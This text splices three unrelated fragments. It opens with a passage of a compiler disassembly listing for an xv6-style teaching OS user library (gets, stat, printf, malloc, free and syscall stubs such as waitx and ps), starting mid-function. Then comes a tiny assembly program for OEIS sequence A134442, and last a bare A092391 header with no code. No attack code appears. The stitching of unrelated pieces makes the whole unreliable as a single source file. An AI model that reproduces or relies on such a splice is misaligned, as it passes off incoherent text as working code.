if(cc < 1)
198: 83 c4 10 add $0x10,%esp
19b: 85 c0 test %eax,%eax
19d: 7e 1c jle 1bb <gets+0x4b>
break;
buf[i++] = c;
19f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1a3: 83 c7 01 add $0x1,%edi
1a6: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
1a9: 3c 0a cmp $0xa,%al
1ab: 74 23 je 1d0 <gets+0x60>
1ad: 3c 0d cmp $0xd,%al
1af: 74 1f je 1d0 <gets+0x60>
for(i=0; i+1 < max; ){
1b1: 83 c3 01 add $0x1,%ebx
1b4: 3b 5d 0c cmp 0xc(%ebp),%ebx
1b7: 89 fe mov %edi,%esi
1b9: 7c cd jl 188 <gets+0x18>
1bb: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
1bd: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
1c0: c6 03 00 movb $0x0,(%ebx)
}
1c3: 8d 65 f4 lea -0xc(%ebp),%esp
1c6: 5b pop %ebx
1c7: 5e pop %esi
1c8: 5f pop %edi
1c9: 5d pop %ebp
1ca: c3 ret
1cb: 90 nop
1cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1d0: 8b 75 08 mov 0x8(%ebp),%esi
1d3: 8b 45 08 mov 0x8(%ebp),%eax
1d6: 01 de add %ebx,%esi
1d8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1da: c6 03 00 movb $0x0,(%ebx)
}
1dd: 8d 65 f4 lea -0xc(%ebp),%esp
1e0: 5b pop %ebx
1e1: 5e pop %esi
1e2: 5f pop %edi
1e3: 5d pop %ebp
1e4: c3 ret
1e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001f0 <stat>:
int
stat(const char *n, struct stat *st)
{
1f0: 55 push %ebp
1f1: 89 e5 mov %esp,%ebp
1f3: 56 push %esi
1f4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1f5: 83 ec 08 sub $0x8,%esp
1f8: 6a 00 push $0x0
1fa: ff 75 08 pushl 0x8(%ebp)
1fd: e8 f0 00 00 00 call 2f2 <open>
if(fd < 0)
202: 83 c4 10 add $0x10,%esp
205: 85 c0 test %eax,%eax
207: 78 27 js 230 <stat+0x40>
return -1;
r = fstat(fd, st);
209: 83 ec 08 sub $0x8,%esp
20c: ff 75 0c pushl 0xc(%ebp)
20f: 89 c3 mov %eax,%ebx
211: 50 push %eax
212: e8 f3 00 00 00 call 30a <fstat>
close(fd);
217: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
21a: 89 c6 mov %eax,%esi
close(fd);
21c: e8 b9 00 00 00 call 2da <close>
return r;
221: 83 c4 10 add $0x10,%esp
}
224: 8d 65 f8 lea -0x8(%ebp),%esp
227: 89 f0 mov %esi,%eax
229: 5b pop %ebx
22a: 5e pop %esi
22b: 5d pop %ebp
22c: c3 ret
22d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
230: be ff ff ff ff mov $0xffffffff,%esi
235: eb ed jmp 224 <stat+0x34>
237: 89 f6 mov %esi,%esi
239: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000240 <atoi>:
int
atoi(const char *s)
{
240: 55 push %ebp
241: 89 e5 mov %esp,%ebp
243: 53 push %ebx
244: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
247: 0f be 11 movsbl (%ecx),%edx
24a: 8d 42 d0 lea -0x30(%edx),%eax
24d: 3c 09 cmp $0x9,%al
n = 0;
24f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
254: 77 1f ja 275 <atoi+0x35>
256: 8d 76 00 lea 0x0(%esi),%esi
259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
260: 8d 04 80 lea (%eax,%eax,4),%eax
263: 83 c1 01 add $0x1,%ecx
266: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
26a: 0f be 11 movsbl (%ecx),%edx
26d: 8d 5a d0 lea -0x30(%edx),%ebx
270: 80 fb 09 cmp $0x9,%bl
273: 76 eb jbe 260 <atoi+0x20>
return n;
}
275: 5b pop %ebx
276: 5d pop %ebp
277: c3 ret
278: 90 nop
279: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000280 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
280: 55 push %ebp
281: 89 e5 mov %esp,%ebp
283: 56 push %esi
284: 53 push %ebx
285: 8b 5d 10 mov 0x10(%ebp),%ebx
288: 8b 45 08 mov 0x8(%ebp),%eax
28b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
28e: 85 db test %ebx,%ebx
290: 7e 14 jle 2a6 <memmove+0x26>
292: 31 d2 xor %edx,%edx
294: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
298: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
29c: 88 0c 10 mov %cl,(%eax,%edx,1)
29f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
2a2: 39 d3 cmp %edx,%ebx
2a4: 75 f2 jne 298 <memmove+0x18>
return vdst;
}
2a6: 5b pop %ebx
2a7: 5e pop %esi
2a8: 5d pop %ebp
2a9: c3 ret
000002aa <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2aa: b8 01 00 00 00 mov $0x1,%eax
2af: cd 40 int $0x40
2b1: c3 ret
000002b2 <exit>:
SYSCALL(exit)
2b2: b8 02 00 00 00 mov $0x2,%eax
2b7: cd 40 int $0x40
2b9: c3 ret
000002ba <wait>:
SYSCALL(wait)
2ba: b8 03 00 00 00 mov $0x3,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
000002c2 <pipe>:
SYSCALL(pipe)
2c2: b8 04 00 00 00 mov $0x4,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <read>:
SYSCALL(read)
2ca: b8 05 00 00 00 mov $0x5,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <write>:
SYSCALL(write)
2d2: b8 10 00 00 00 mov $0x10,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <close>:
SYSCALL(close)
2da: b8 15 00 00 00 mov $0x15,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <kill>:
SYSCALL(kill)
2e2: b8 06 00 00 00 mov $0x6,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <exec>:
SYSCALL(exec)
2ea: b8 07 00 00 00 mov $0x7,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <open>:
SYSCALL(open)
2f2: b8 0f 00 00 00 mov $0xf,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <mknod>:
SYSCALL(mknod)
2fa: b8 11 00 00 00 mov $0x11,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <unlink>:
SYSCALL(unlink)
302: b8 12 00 00 00 mov $0x12,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <fstat>:
SYSCALL(fstat)
30a: b8 08 00 00 00 mov $0x8,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <link>:
SYSCALL(link)
312: b8 13 00 00 00 mov $0x13,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <mkdir>:
SYSCALL(mkdir)
31a: b8 14 00 00 00 mov $0x14,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <chdir>:
SYSCALL(chdir)
322: b8 09 00 00 00 mov $0x9,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <dup>:
SYSCALL(dup)
32a: b8 0a 00 00 00 mov $0xa,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <getpid>:
SYSCALL(getpid)
332: b8 0b 00 00 00 mov $0xb,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <sbrk>:
SYSCALL(sbrk)
33a: b8 0c 00 00 00 mov $0xc,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <sleep>:
SYSCALL(sleep)
342: b8 0d 00 00 00 mov $0xd,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <uptime>:
SYSCALL(uptime)
34a: b8 0e 00 00 00 mov $0xe,%eax
34f: cd 40 int $0x40
351: c3 ret
00000352 <waitx>:
SYSCALL(waitx)
352: b8 16 00 00 00 mov $0x16,%eax
357: cd 40 int $0x40
359: c3 ret
0000035a <set_priority>:
SYSCALL(set_priority)
35a: b8 17 00 00 00 mov $0x17,%eax
35f: cd 40 int $0x40
361: c3 ret
00000362 <ps>:
SYSCALL(ps)
362: b8 18 00 00 00 mov $0x18,%eax
367: cd 40 int $0x40
369: c3 ret
36a: 66 90 xchg %ax,%ax
36c: 66 90 xchg %ax,%ax
36e: 66 90 xchg %ax,%ax
00000370 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
370: 55 push %ebp
371: 89 e5 mov %esp,%ebp
373: 57 push %edi
374: 56 push %esi
375: 53 push %ebx
376: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
379: 85 d2 test %edx,%edx
{
37b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
37e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
380: 79 76 jns 3f8 <printint+0x88>
382: f6 45 08 01 testb $0x1,0x8(%ebp)
386: 74 70 je 3f8 <printint+0x88>
x = -xx;
388: f7 d8 neg %eax
neg = 1;
38a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
391: 31 f6 xor %esi,%esi
393: 8d 5d d7 lea -0x29(%ebp),%ebx
396: eb 0a jmp 3a2 <printint+0x32>
398: 90 nop
399: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
3a0: 89 fe mov %edi,%esi
3a2: 31 d2 xor %edx,%edx
3a4: 8d 7e 01 lea 0x1(%esi),%edi
3a7: f7 f1 div %ecx
3a9: 0f b6 92 84 07 00 00 movzbl 0x784(%edx),%edx
}while((x /= base) != 0);
3b0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
3b2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
3b5: 75 e9 jne 3a0 <printint+0x30>
if(neg)
3b7: 8b 45 c4 mov -0x3c(%ebp),%eax
3ba: 85 c0 test %eax,%eax
3bc: 74 08 je 3c6 <printint+0x56>
buf[i++] = '-';
3be: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
3c3: 8d 7e 02 lea 0x2(%esi),%edi
3c6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
3ca: 8b 7d c0 mov -0x40(%ebp),%edi
3cd: 8d 76 00 lea 0x0(%esi),%esi
3d0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
3d3: 83 ec 04 sub $0x4,%esp
3d6: 83 ee 01 sub $0x1,%esi
3d9: 6a 01 push $0x1
3db: 53 push %ebx
3dc: 57 push %edi
3dd: 88 45 d7 mov %al,-0x29(%ebp)
3e0: e8 ed fe ff ff call 2d2 <write>
while(--i >= 0)
3e5: 83 c4 10 add $0x10,%esp
3e8: 39 de cmp %ebx,%esi
3ea: 75 e4 jne 3d0 <printint+0x60>
putc(fd, buf[i]);
}
3ec: 8d 65 f4 lea -0xc(%ebp),%esp
3ef: 5b pop %ebx
3f0: 5e pop %esi
3f1: 5f pop %edi
3f2: 5d pop %ebp
3f3: c3 ret
3f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
3f8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3ff: eb 90 jmp 391 <printint+0x21>
401: eb 0d jmp 410 <printf>
403: 90 nop
404: 90 nop
405: 90 nop
406: 90 nop
407: 90 nop
408: 90 nop
409: 90 nop
40a: 90 nop
40b: 90 nop
40c: 90 nop
40d: 90 nop
40e: 90 nop
40f: 90 nop
00000410 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
410: 55 push %ebp
411: 89 e5 mov %esp,%ebp
413: 57 push %edi
414: 56 push %esi
415: 53 push %ebx
416: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
419: 8b 75 0c mov 0xc(%ebp),%esi
41c: 0f b6 1e movzbl (%esi),%ebx
41f: 84 db test %bl,%bl
421: 0f 84 b3 00 00 00 je 4da <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
427: 8d 45 10 lea 0x10(%ebp),%eax
42a: 83 c6 01 add $0x1,%esi
state = 0;
42d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
42f: 89 45 d4 mov %eax,-0x2c(%ebp)
432: eb 2f jmp 463 <printf+0x53>
434: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
438: 83 f8 25 cmp $0x25,%eax
43b: 0f 84 a7 00 00 00 je 4e8 <printf+0xd8>
write(fd, &c, 1);
441: 8d 45 e2 lea -0x1e(%ebp),%eax
444: 83 ec 04 sub $0x4,%esp
447: 88 5d e2 mov %bl,-0x1e(%ebp)
44a: 6a 01 push $0x1
44c: 50 push %eax
44d: ff 75 08 pushl 0x8(%ebp)
450: e8 7d fe ff ff call 2d2 <write>
455: 83 c4 10 add $0x10,%esp
458: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
45b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
45f: 84 db test %bl,%bl
461: 74 77 je 4da <printf+0xca>
if(state == 0){
463: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
465: 0f be cb movsbl %bl,%ecx
468: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
46b: 74 cb je 438 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
46d: 83 ff 25 cmp $0x25,%edi
470: 75 e6 jne 458 <printf+0x48>
if(c == 'd'){
472: 83 f8 64 cmp $0x64,%eax
475: 0f 84 05 01 00 00 je 580 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
47b: 81 e1 f7 00 00 00 and $0xf7,%ecx
481: 83 f9 70 cmp $0x70,%ecx
484: 74 72 je 4f8 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
486: 83 f8 73 cmp $0x73,%eax
489: 0f 84 99 00 00 00 je 528 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
48f: 83 f8 63 cmp $0x63,%eax
492: 0f 84 08 01 00 00 je 5a0 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
498: 83 f8 25 cmp $0x25,%eax
49b: 0f 84 ef 00 00 00 je 590 <printf+0x180>
write(fd, &c, 1);
4a1: 8d 45 e7 lea -0x19(%ebp),%eax
4a4: 83 ec 04 sub $0x4,%esp
4a7: c6 45 e7 25 movb $0x25,-0x19(%ebp)
4ab: 6a 01 push $0x1
4ad: 50 push %eax
4ae: ff 75 08 pushl 0x8(%ebp)
4b1: e8 1c fe ff ff call 2d2 <write>
4b6: 83 c4 0c add $0xc,%esp
4b9: 8d 45 e6 lea -0x1a(%ebp),%eax
4bc: 88 5d e6 mov %bl,-0x1a(%ebp)
4bf: 6a 01 push $0x1
4c1: 50 push %eax
4c2: ff 75 08 pushl 0x8(%ebp)
4c5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4c8: 31 ff xor %edi,%edi
write(fd, &c, 1);
4ca: e8 03 fe ff ff call 2d2 <write>
for(i = 0; fmt[i]; i++){
4cf: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
4d3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
4d6: 84 db test %bl,%bl
4d8: 75 89 jne 463 <printf+0x53>
}
}
}
4da: 8d 65 f4 lea -0xc(%ebp),%esp
4dd: 5b pop %ebx
4de: 5e pop %esi
4df: 5f pop %edi
4e0: 5d pop %ebp
4e1: c3 ret
4e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
4e8: bf 25 00 00 00 mov $0x25,%edi
4ed: e9 66 ff ff ff jmp 458 <printf+0x48>
4f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
4f8: 83 ec 0c sub $0xc,%esp
4fb: b9 10 00 00 00 mov $0x10,%ecx
500: 6a 00 push $0x0
502: 8b 7d d4 mov -0x2c(%ebp),%edi
505: 8b 45 08 mov 0x8(%ebp),%eax
508: 8b 17 mov (%edi),%edx
50a: e8 61 fe ff ff call 370 <printint>
ap++;
50f: 89 f8 mov %edi,%eax
511: 83 c4 10 add $0x10,%esp
state = 0;
514: 31 ff xor %edi,%edi
ap++;
516: 83 c0 04 add $0x4,%eax
519: 89 45 d4 mov %eax,-0x2c(%ebp)
51c: e9 37 ff ff ff jmp 458 <printf+0x48>
521: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
528: 8b 45 d4 mov -0x2c(%ebp),%eax
52b: 8b 08 mov (%eax),%ecx
ap++;
52d: 83 c0 04 add $0x4,%eax
530: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
533: 85 c9 test %ecx,%ecx
535: 0f 84 8e 00 00 00 je 5c9 <printf+0x1b9>
while(*s != 0){
53b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
53e: 31 ff xor %edi,%edi
s = (char*)*ap;
540: 89 cb mov %ecx,%ebx
while(*s != 0){
542: 84 c0 test %al,%al
544: 0f 84 0e ff ff ff je 458 <printf+0x48>
54a: 89 75 d0 mov %esi,-0x30(%ebp)
54d: 89 de mov %ebx,%esi
54f: 8b 5d 08 mov 0x8(%ebp),%ebx
552: 8d 7d e3 lea -0x1d(%ebp),%edi
555: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
558: 83 ec 04 sub $0x4,%esp
s++;
55b: 83 c6 01 add $0x1,%esi
55e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
561: 6a 01 push $0x1
563: 57 push %edi
564: 53 push %ebx
565: e8 68 fd ff ff call 2d2 <write>
while(*s != 0){
56a: 0f b6 06 movzbl (%esi),%eax
56d: 83 c4 10 add $0x10,%esp
570: 84 c0 test %al,%al
572: 75 e4 jne 558 <printf+0x148>
574: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
577: 31 ff xor %edi,%edi
579: e9 da fe ff ff jmp 458 <printf+0x48>
57e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
580: 83 ec 0c sub $0xc,%esp
583: b9 0a 00 00 00 mov $0xa,%ecx
588: 6a 01 push $0x1
58a: e9 73 ff ff ff jmp 502 <printf+0xf2>
58f: 90 nop
write(fd, &c, 1);
590: 83 ec 04 sub $0x4,%esp
593: 88 5d e5 mov %bl,-0x1b(%ebp)
596: 8d 45 e5 lea -0x1b(%ebp),%eax
599: 6a 01 push $0x1
59b: e9 21 ff ff ff jmp 4c1 <printf+0xb1>
putc(fd, *ap);
5a0: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
5a3: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
5a6: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
5a8: 6a 01 push $0x1
ap++;
5aa: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
5ad: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
5b0: 8d 45 e4 lea -0x1c(%ebp),%eax
5b3: 50 push %eax
5b4: ff 75 08 pushl 0x8(%ebp)
5b7: e8 16 fd ff ff call 2d2 <write>
ap++;
5bc: 89 7d d4 mov %edi,-0x2c(%ebp)
5bf: 83 c4 10 add $0x10,%esp
state = 0;
5c2: 31 ff xor %edi,%edi
5c4: e9 8f fe ff ff jmp 458 <printf+0x48>
s = "(null)";
5c9: bb 7c 07 00 00 mov $0x77c,%ebx
while(*s != 0){
5ce: b8 28 00 00 00 mov $0x28,%eax
5d3: e9 72 ff ff ff jmp 54a <printf+0x13a>
5d8: 66 90 xchg %ax,%ax
5da: 66 90 xchg %ax,%ax
5dc: 66 90 xchg %ax,%ax
5de: 66 90 xchg %ax,%ax
000005e0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5e0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5e1: a1 30 0a 00 00 mov 0xa30,%eax
{
5e6: 89 e5 mov %esp,%ebp
5e8: 57 push %edi
5e9: 56 push %esi
5ea: 53 push %ebx
5eb: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
5ee: 8d 4b f8 lea -0x8(%ebx),%ecx
5f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5f8: 39 c8 cmp %ecx,%eax
5fa: 8b 10 mov (%eax),%edx
5fc: 73 32 jae 630 <free+0x50>
5fe: 39 d1 cmp %edx,%ecx
600: 72 04 jb 606 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
602: 39 d0 cmp %edx,%eax
604: 72 32 jb 638 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
606: 8b 73 fc mov -0x4(%ebx),%esi
609: 8d 3c f1 lea (%ecx,%esi,8),%edi
60c: 39 fa cmp %edi,%edx
60e: 74 30 je 640 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
610: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
613: 8b 50 04 mov 0x4(%eax),%edx
616: 8d 34 d0 lea (%eax,%edx,8),%esi
619: 39 f1 cmp %esi,%ecx
61b: 74 3a je 657 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
61d: 89 08 mov %ecx,(%eax)
freep = p;
61f: a3 30 0a 00 00 mov %eax,0xa30
}
624: 5b pop %ebx
625: 5e pop %esi
626: 5f pop %edi
627: 5d pop %ebp
628: c3 ret
629: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
630: 39 d0 cmp %edx,%eax
632: 72 04 jb 638 <free+0x58>
634: 39 d1 cmp %edx,%ecx
636: 72 ce jb 606 <free+0x26>
{
638: 89 d0 mov %edx,%eax
63a: eb bc jmp 5f8 <free+0x18>
63c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
640: 03 72 04 add 0x4(%edx),%esi
643: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
646: 8b 10 mov (%eax),%edx
648: 8b 12 mov (%edx),%edx
64a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
64d: 8b 50 04 mov 0x4(%eax),%edx
650: 8d 34 d0 lea (%eax,%edx,8),%esi
653: 39 f1 cmp %esi,%ecx
655: 75 c6 jne 61d <free+0x3d>
p->s.size += bp->s.size;
657: 03 53 fc add -0x4(%ebx),%edx
freep = p;
65a: a3 30 0a 00 00 mov %eax,0xa30
p->s.size += bp->s.size;
65f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
662: 8b 53 f8 mov -0x8(%ebx),%edx
665: 89 10 mov %edx,(%eax)
}
667: 5b pop %ebx
668: 5e pop %esi
669: 5f pop %edi
66a: 5d pop %ebp
66b: c3 ret
66c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000670 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
670: 55 push %ebp
671: 89 e5 mov %esp,%ebp
673: 57 push %edi
674: 56 push %esi
675: 53 push %ebx
676: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
679: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
67c: 8b 15 30 0a 00 00 mov 0xa30,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
682: 8d 78 07 lea 0x7(%eax),%edi
685: c1 ef 03 shr $0x3,%edi
688: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
68b: 85 d2 test %edx,%edx
68d: 0f 84 9d 00 00 00 je 730 <malloc+0xc0>
693: 8b 02 mov (%edx),%eax
695: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
698: 39 cf cmp %ecx,%edi
69a: 76 6c jbe 708 <malloc+0x98>
69c: 81 ff 00 10 00 00 cmp $0x1000,%edi
6a2: bb 00 10 00 00 mov $0x1000,%ebx
6a7: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
6aa: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
6b1: eb 0e jmp 6c1 <malloc+0x51>
6b3: 90 nop
6b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
6b8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
6ba: 8b 48 04 mov 0x4(%eax),%ecx
6bd: 39 f9 cmp %edi,%ecx
6bf: 73 47 jae 708 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6c1: 39 05 30 0a 00 00 cmp %eax,0xa30
6c7: 89 c2 mov %eax,%edx
6c9: 75 ed jne 6b8 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
6cb: 83 ec 0c sub $0xc,%esp
6ce: 56 push %esi
6cf: e8 66 fc ff ff call 33a <sbrk>
if(p == (char*)-1)
6d4: 83 c4 10 add $0x10,%esp
6d7: 83 f8 ff cmp $0xffffffff,%eax
6da: 74 1c je 6f8 <malloc+0x88>
hp->s.size = nu;
6dc: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
6df: 83 ec 0c sub $0xc,%esp
6e2: 83 c0 08 add $0x8,%eax
6e5: 50 push %eax
6e6: e8 f5 fe ff ff call 5e0 <free>
return freep;
6eb: 8b 15 30 0a 00 00 mov 0xa30,%edx
if((p = morecore(nunits)) == 0)
6f1: 83 c4 10 add $0x10,%esp
6f4: 85 d2 test %edx,%edx
6f6: 75 c0 jne 6b8 <malloc+0x48>
return 0;
}
}
6f8: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
6fb: 31 c0 xor %eax,%eax
}
6fd: 5b pop %ebx
6fe: 5e pop %esi
6ff: 5f pop %edi
700: 5d pop %ebp
701: c3 ret
702: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
708: 39 cf cmp %ecx,%edi
70a: 74 54 je 760 <malloc+0xf0>
p->s.size -= nunits;
70c: 29 f9 sub %edi,%ecx
70e: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
711: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
714: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
717: 89 15 30 0a 00 00 mov %edx,0xa30
}
71d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
720: 83 c0 08 add $0x8,%eax
}
723: 5b pop %ebx
724: 5e pop %esi
725: 5f pop %edi
726: 5d pop %ebp
727: c3 ret
728: 90 nop
729: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
730: c7 05 30 0a 00 00 34 movl $0xa34,0xa30
737: 0a 00 00
73a: c7 05 34 0a 00 00 34 movl $0xa34,0xa34
741: 0a 00 00
base.s.size = 0;
744: b8 34 0a 00 00 mov $0xa34,%eax
749: c7 05 38 0a 00 00 00 movl $0x0,0xa38
750: 00 00 00
753: e9 44 ff ff ff jmp 69c <malloc+0x2c>
758: 90 nop
759: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
760: 8b 08 mov (%eax),%ecx
762: 89 0a mov %ecx,(%edx)
764: eb b1 jmp 717 <malloc+0xa7>
|
; A134442: Last two digits of primes of form 4n+3 (A002145). Leading 0's omitted.
; 3,7,11,19,23,27,31,39,43,47,51,59,63,67,71,79,83,87,91,99
mul $0,5
add $0,1
div $0,4
mul $0,4
add $0,3
|
; A092391: a(n) = n + wt(n), where wt(n) = A000120(n) = binary weight of n.
